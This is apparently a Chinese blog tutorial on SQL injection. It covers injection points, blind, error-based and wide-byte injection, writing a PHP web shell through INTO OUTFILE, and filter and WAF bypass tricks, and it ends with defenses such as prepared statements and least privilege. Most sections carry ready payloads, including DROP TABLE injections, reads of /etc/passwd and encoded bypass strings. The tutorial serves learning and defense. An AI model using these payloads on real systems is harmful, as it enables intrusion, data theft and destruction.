SQL注入(SQL Injection):一行代码让整个网站瘫痪,永不过时的黑客技术

什么是SQL注入?

  SQL注入(SQL Injection)是一种利用Web应用程序对用户输入验证不足的漏洞,将恶意SQL代码注入到数据库查询中的攻击技术。其核心原理在于数据与代码未分离,攻击者通过构造特殊输入篡改原始SQL语句的逻辑,从而绕过验证或执行非授权操作。

通常,攻击者可以通过注入恶意SQL语句来执行以下操作:

  1. 绕过认证:通过绕过登录验证,直接访问受保护的资源。
  2. 窃取敏感信息:通过查询数据库,窃取用户信息、信用卡信息等敏感数据。
  3. 破坏数据库:通过删除表格、修改数据等方式来破坏数据库的完整性。
  4. 提升权限:通过SQL注入攻击,提升攻击者的权限并获取更多的控制权。

  例如,在登录场景中,若应用程序直接将用户输入拼接到SQL语句中:

SELECT * FROM users WHERE username = 'user_input' AND password = 'password_input';

  攻击者输入admin' --作为用户名,生成的SQL语句变为:

SELECT * FROM users WHERE username = 'admin' --' AND password = '...';

  通过注释符 -- 绕过密码验证,直接以管理员身份登录。

 

常见SQL注入点

1. HTTP 请求参数注入

GET 参数注入

  • 场景:URL 中的查询参数直接拼接 SQL 语句。

    GET /product?id=1' UNION SELECT 1,version(),3-- HTTP/1.1
  • 利用方式
    篡改 id 值,闭合原有查询并追加恶意 SQL 代码。

  • 防御
    使用参数化查询,禁止动态拼接。

POST 参数注入

  • 场景:表单字段(如登录、搜索框)未过滤输入。

    POST /login HTTP/1.1
    username=admin'--&password=any_value
  • 利用方式
    通过注释符 -- 绕过密码验证,直接登录。

  • 防御
    对所有 POST 数据校验格式(如正则匹配邮箱、手机号)。

PUT/DELETE 参数注入

  • 场景:RESTful API 中通过请求体传递参数。

    PUT /user/5 HTTP/1.1
    { "role": "admin'; UPDATE users SET is_admin=1 WHERE id=5 --" }
  • 利用方式
    修改 JSON/XML 中的字段值,触发更新逻辑漏洞。

  • 防御
    校验数据格式(如仅允许特定枚举值),禁用动态 SQL。

 

2. HTTP 头部注入

X-Forwarded-For 注入

  • 场景:应用程序记录客户端 IP 到数据库。

    GET / HTTP/1.1
    X-Forwarded-For: 1.1.1.1'; DROP TABLE access_logs;--
  • 利用方式
    伪造 IP 字段注入恶意代码,破坏日志表。

  • 防御
    使用白名单验证 IP 格式(如正则 \d+\.\d+\.\d+\.\d+)。

Cookie 注入

  • 场景:Cookie 值直接用于查询用户会话。

    SELECT * FROM sessions WHERE session_id = '恶意Cookie值';
  • 利用方式
    篡改 Cookie 值为 ' OR 1=1 -- 绕过会话验证。

  • 防御
    对 Cookie 值进行 HMAC 签名校验。

 

3. 文件名注入

  • 场景:上传文件时,文件名未经处理存入数据库。

    INSERT INTO files (name) VALUES ('exploit.jpg'; DROP TABLE files-- ');
  • 利用方式
    上传文件名包含 SQL 代码,触发注入。

  • 防御

    • 重命名文件(如 MD5 哈希值 + 后缀)。

    • 过滤文件名中的特殊字符(';)。

 

4. 其他隐蔽注入点

User-Agent 注入

  • 场景:记录客户端浏览器信息到数据库。

    GET / HTTP/1.1
    User-Agent: Mozilla/5.0 '; SELECT LOAD_FILE('/etc/passwd') -- 
  • 防御
    限制 User-Agent 长度(如 256 字符),过滤特殊符号。

Order By 注入

    • 场景:动态排序参数未过滤。

      GET /products?sort=id ASC; SELECT SLEEP(5)-- 
    • 利用方式
      通过时间盲注探测数据库信息。

    • 防御
      限制排序参数为白名单(如 idprice)。

 

SQL注入主要类型

基础型注入

  1. 绕过认证:如' OR 1=1使查询条件恒真,绕过登录验证

  2. 数字型注入:针对整型参数,无需单引号闭合,如id=1 OR 1=1

联合查询注入(UNION)

通过UNION合并查询结果,窃取数据。例如:

' UNION SELECT username, password FROM users --

返回用户表敏感信息

 

盲注(Blind Injection)

  1. 布尔盲注:根据页面返回的真假推测数据,存在布尔盲注时,页面的回显只会返回true和false,没有显错注入那种报错信息,如:

    AND SUBSTRING(database(),1,1)='a'
  2. 时间盲注:利用延迟函数判断条件是否成立,时间盲注页面返回值只有一种true,无论输出何值,只会返回一样的页面。加入特定的时间函数,根据页面返回的时间差来判断注入,如:

    ' AND IF(1=1, SLEEP(5), 0) --
盲注常用函数:
if(expr1,expr2,expr3) 判断语句,如果expr1成立运行expr2,不成立运行expr3
ascii() 解析字符编码
substr(1,1,1) 截取字符串1中的第1个字符的1位
length() 判断字符串长度
sleep() 休眠函数

 

堆叠查询(Stacked Queries)

执行多条SQL语句,如'; DROP TABLE users; --删除表

 

存储过程与HTTP头注入

  1. 利用数据库存储过程执行系统命令(如xp_cmdshell

  2. 通过HTTP头(如X-Forwarded-For、Cookie)注入恶意代码

 

HEAD注入

 

用户与网页交互成功时网页数据库会记录访问用户的基础数据(请求头),Head注入的核心就在于通过修改请求头的方法,将原本的用户基础信息修改成数据库代码,使数据库执行该指令

  1. updatexml在head注入中的作用
    updatexml实际上是一个报错注入,因为路径不存在所以报错了。但是因为数据库先执行子查询,所以报错的信息中有查询出来的信息会被当作报错处理

报错注入的原理:
  利用SQL注入拼接sql语句,将报错信息输出时同时将我们想要的信息输出
  如:updatexml(目标xml内容,xml文档路径,更新的内容)
  路径不能出现特殊字符 ~ !#
updatexml(1,’!123’,1)
concat() 拼接字符串updatexml(1,concat(‘!’,(select table_name from information_schema.tables where table_schema=database() limit 0,1)),1)

ps:报错的结果一定是个字符串

2.head注入时需要把原有的head头信息删除吗
不是必须删除的,但是建议删除,因为删除了可防止干扰

    1. post注入和head注入的区别
      POST注入的注入点再POST传参,HEAD注入的注入点在头信息
    2. 如何防范post和head注入
      对传入参数进行过滤,增加检测种类,加个waf或者用正则过滤危险字符
    3. head注入中只能靠updatexml传输吗
      不一定,这只是一个报错注入的函数而已
    4. head注入利用点
      user-agent | ip | Referer | X-Forwarded-For
    5. HEAD注入SQLMAP怎么跑
      利用—level 来指定等级,大于3就会检测请求头和cookie
    6. X-Forwarder-FOR究竟是什么
      它是一种特殊的请求头,因为当今多数缓存服务器的用户为了通过缓存的方式来降低他们的外部带宽,他们常常通过鼓励或强制用户使用代理服务来接入互联网。但是如果要获取用户的ip的时候,我们就必须通过X-Forwarded-FOR 去获取,而不能直接通过$_SERVER[“REMOTE_ADDR”] 获取。

 

宽字节注入

 低版本的PHP中存在一个魔术引号函数magic_quotes_gpc,他只会处理GET,POST,COOKIE传参,并且检测用户传参中是否存在如‘ “这种特殊符号,如果存在就会自动加一个转义符。
 因为我国使用gbk编码而转义符在GET传参时会进行一个gbk编码,编码为%5c。
 而我国的gbk编码是双字符编码:
 所以通过gbk编码使\转换为5c搭配上其他的gbk编码组成一个汉字放在注入语句中使其无效化,例如%df\会被组成汉字:“运”

  1. 宽字节注入过滤原理
    PHP发送请求到mysql时经过一次gbk编码,PHP会将获取到的数据进行魔术引号的处理,因为GBK是双字节编码,所以我们提交的%df这个字符和转译的反斜杠组成了新的汉字。然后数据库处理的时候是根据GBK去处理的,然后单引号就逃逸出来了。
  2. 宽字节注入绕过原理
    已知我们的提交数据会被加入\,\的编码为%5c,我们在后面加上%df后变成了%df%5c,变成一个新的汉字,变成了一个有多个字节的字符。因为用了gbk编码,使这个为yig 两字节绕过了单引号闭合,逃逸了转义。
  3. 宽字节注入就是报错注入吗
    不是,宽字节注入适用于所有场景。
  4. 宽字节只发生在gbk编码上吗?
    不,只要PHP的编码格式和数据库的编码格式不同,特别是字符不同的编码就可能存在。
  5. 当程序员设置数据库和PHP编码相同还会有宽字节注入吗
    不会,宽字节要基于这两个不同才能实现,PHP utf-8编码 数据库GBK编码。
    1. 如果存在魔术引号,但是没有宽字节注入,还有方法吗?
      如果是head注入就不会受影响

 

INTO OUTFILE 在 SQL 注入中的作用与利用方式

  INTO OUTFILE 是 MySQL 数据库中的一个关键函数,用于将查询结果导出到服务器的文件系统中。在合法场景中,它常用于数据备份或生成报告,但在 SQL 注入攻击中,攻击者可能利用此函数实现 文件写入,从而进一步控制服务器或窃取敏感信息。

一、INTO OUTFILE 的核心作用

  1. 基本功能
    将 SELECT 查询的结果直接写入服务器本地文件。语法如下:

    SELECT * FROM users INTO OUTFILE '/tmp/user_data.csv';

    此操作会生成一个包含用户数据的 CSV 文件到 /tmp 目录。

  2. SQL 注入中的恶意用途
    攻击者通过注入构造恶意查询,利用 INTO OUTFILE 实现:

    • 写入 Web Shell:将 PHP/Python 等脚本写入 Web 目录,获取服务器控制权。

    • 窃取敏感文件:通过读取系统文件(如 /etc/passwd)并导出到可访问路径。

    • 覆盖配置文件:修改 Web 服务器配置或数据库权限文件。

二、攻击利用条件与限制

INTO OUTFILE 并非无条件可用,需满足以下前提:

  1. 数据库用户权限

    • 用户需具备 FILE 权限(MySQL 中默认仅 root 或高权限账户拥有)。

    • 可通过以下命令验证权限:

      SHOW GRANTS; -- 查看当前用户权限是否包含 FILE
  2. MySQL 配置限制

    • secure_file_priv 参数
      该参数指定允许导出文件的目录路径。若值为空(默认禁用),则不允许任意路径写入;若设为 /var/exports/,则仅允许写入该目录。

      SHOW VARIABLES LIKE 'secure_file_priv'; -- 查看当前配置
  3. 文件路径可控性

    • 攻击者需明确目标服务器的文件系统路径(如 Web 根目录 /var/www/html)。

    • 若 secure_file_priv 受限,可能需尝试路径遍历(如 ../../var/www/html/shell.php)。

三、典型攻击场景与示例

场景 1:写入 Web Shell

攻击步骤

  1. 通过注入构造恶意 SQL,将 PHP Web Shell 写入 Web 目录:

    SELECT '<?php system($_GET["cmd"]); ?>' INTO OUTFILE '/var/www/html/shell.php';
  2. 访问 http://target.com/shell.php?cmd=id,即可执行系统命令(如 id)。

场景 2:窃取系统文件
  1. 通过 LOAD_FILE 读取系统文件并导出到可访问路径:

    SELECT LOAD_FILE('/etc/passwd') INTO OUTFILE '/var/www/html/passwd.txt';
  2. 访问 http://target.com/passwd.txt 下载敏感文件。

场景 3:绕过 secure_file_priv 限制

若 secure_file_priv 设置为 /tmp,但 Web 目录不可写:

  1. 尝试写入 /tmp 并利用其他漏洞(如文件包含):

    SELECT '恶意代码' INTO OUTFILE '/tmp/exploit'; 
  2. 通过 LFI(本地文件包含)漏洞执行 /tmp/exploit

四、防御策略

  1. 最小权限原则

    • 禁止为应用数据库账户授予 FILE 权限:

      REVOKE FILE ON *.* FROM 'web_user'@'localhost';
  2. 配置数据库安全参数

    • 设置 secure_file_priv 为严格受限目录(非空值):

      # MySQL 配置文件 my.cnf
      [mysqld]
      secure_file_priv = /allowed_directory/
  3. 输入过滤与预编译语句

    • 使用参数化查询(如 PreparedStatement)避免 SQL 注入:

      String query = "SELECT * FROM users WHERE id = ?";
      PreparedStatement stmt = conn.prepareStatement(query);
      stmt.setInt(1, userInput);
  4. 文件系统防护

    • Web 目录设置为不可执行脚本(通过权限控制)。

    • 定期检查服务器文件系统中异常文件(如 .php.jsp 文件)。

 

SQL 注入过滤规则的判断与绕过

1. 判断是否存在输入截断(Truncate)

核心原理:某些系统会对用户输入进行长度限制,超出部分被截断,可能导致恶意代码失效。
测试方法

  1. 构造超长输入:在合法字段(如用户名)输入超过限制长度的字符串,观察是否截断。

    ' OR 1=1 -- xxxx...(填充至长度上限)
  2. 截断位置探测

    • 若系统限制长度为20,输入admin' AND '1(共20字符),可能生成:

      SELECT * FROM users WHERE username='admin' AND '1'
    • 若返回结果异常,说明截断导致逻辑闭合失效。

绕过技巧

  • 利用注释缩短Payload

    '/**/OR/**/1=1-- 
  • 精准计算截断点:在允许长度内完成闭合(如'||1=1#)。

 

2. 判断特定字符是否被过滤

常见过滤字符:单引号(')、双引号(")、分号(;)、括号(())、等号(=)。
测试步骤

  1. 基础探测

    • 输入 ',若页面返回数据库错误(如MySQL语法错误),说明未过滤单引号。

    • 输入 ' 后页面正常,但查询结果异常,可能被转义(如转为 \')。

  2. 替代符号测试

    • 若等号(=)被过滤,尝试使用LIKEIN

      ' OR 'a' LIKE 'a
    • 若括号被过滤,使用无括号语法:

      ' OR 1=1 UNION SELECT 1,version() -- 

绕过技巧

  • Hex/URL编码

    ' OR 1=1 -- → %27%20%4f%52%20%31%3d%31%20%2d%2d
  • 双重转义

    \\' → 转义为单引号(依赖后端处理逻辑)。

     

3. 判断关键字过滤(如SELECT、UNION)

常见过滤关键字UNIONSELECTDROPEXEC
测试方法

  1. 大小写变形

    ' uNiOn sEleCt 1,2,3 -- 
  2. 内联注释

    '/*!UNION*/ SELECT 1,2,3 -- 
  3. 特殊分割符

    ' UNI/**/ON SEL/**/ECT 1,2,3 -- 
  4. 等价函数替换

    • SUBSTRING被过滤,使用MIDSUBSTR

    • SLEEP被过滤,使用BENCHMARK(1000000,MD5('test'))

绕过示例

' AND 1=0 UNION ALL SELECT table_name FROM information_schema.tables -- 
→ 若被拦截,替换为:
' ANd 1=0 /*!UnIoN*/ /*!SeLeCt*/ table_name FRoM information_schema.tables -- 

 

4. 斜杠(Slash)与编码绕过

场景分析

  1. 反斜杠(\)转义

    • 若系统自动转义单引号为 \',尝试用双写绕过:

      ' OR 1=1 → \' OR 1=1 → 实际执行:' OR 1=1
  2. 多重编码绕过

    • URL编码' → %27、空格 → %20

    • Unicode编码' → %u0027(需后端支持解析)。

    • HTML实体编码' → &#39;(针对XSS+SQLi组合场景)。

实战案例

原始Payload:' UNION SELECT 1,@@version -- 
编码后:%27%20%55%4e%49%4f%4e%20%53%45%4c%45%43%54%201%2c%40%40%76%65%72%73%69%6f%6e%20%2d%2d%20

 

sql注入的预防

预编译(PreparedStatement)(JSP)

  可以采用预编译语句集,它内置了处理SQL注入的能力,只要使用它的setXXX方法传值即可。

String sql = "select id, no from user where id=?";
PreparedStatement ps = conn.prepareStatement(sql);
ps.setInt(1, id);
ps.executeQuery();

  如上所示,就是典型的采用 SQL语句预编译来防止SQL注入 。为什么这样就可以防止SQL注入呢?

  其原因就是:采用了PreparedStatement预编译,就会将SQL语句:"select id, no from user where id=?" 预先编译好,也就是SQL引擎会预先进行语法分析,产生语法树,生成执行计划,也就是说,后面你输入的参数,无论你输入的是什么,都不会影响该SQL语句的语法结构了,因为语法分析已经完成了,而语法分析主要是分析SQL命令,比如 select、from 、where 、and、 or 、order by 等等。所以即使你后面输入了这些SQL命令,也不会被当成SQL命令来执行了,因为这些SQL命令的执行, 必须先通过语法分析,生成执行计划,既然语法分析已经完成,已经预编译过了,那么后面输入的参数,是绝对不可能作为SQL命令来执行的,只会被当做字符串字面值参数。所以SQL语句预编译可以有效防御SQL注入。

  原理:SQL注入只对SQL语句的编译过程有破坏作用,而PreparedStatement已经预编译好了,执行阶段只是把输入串作为数据处理。而不再对SQL语句进行解析。因此也就避免了sql注入问题。

Web应用防火墙(WAF)规则

  • 拦截包含UNION SELECTSLEEP(等关键词的请求。

  • 使用ModSecurity规则集:
SecRule ARGS "@detectSQLi" "id:1001,deny,status:403"

数据库审计与最小权限

-- 限制应用账户权限
GRANT SELECT, INSERT ON app_db.* TO 'web_user'@'localhost';

监控与应急响应

  1. 日志分析:监控异常SQL语句(如大量WHERE 1=1)。

  2. 自动化漏洞扫描:集成SQLMap到CI/CD流程,定期扫描API接口。

 

posted @ 2025-05-20 23:37  Antoniiiia  阅读(48)  评论(0)    收藏  举报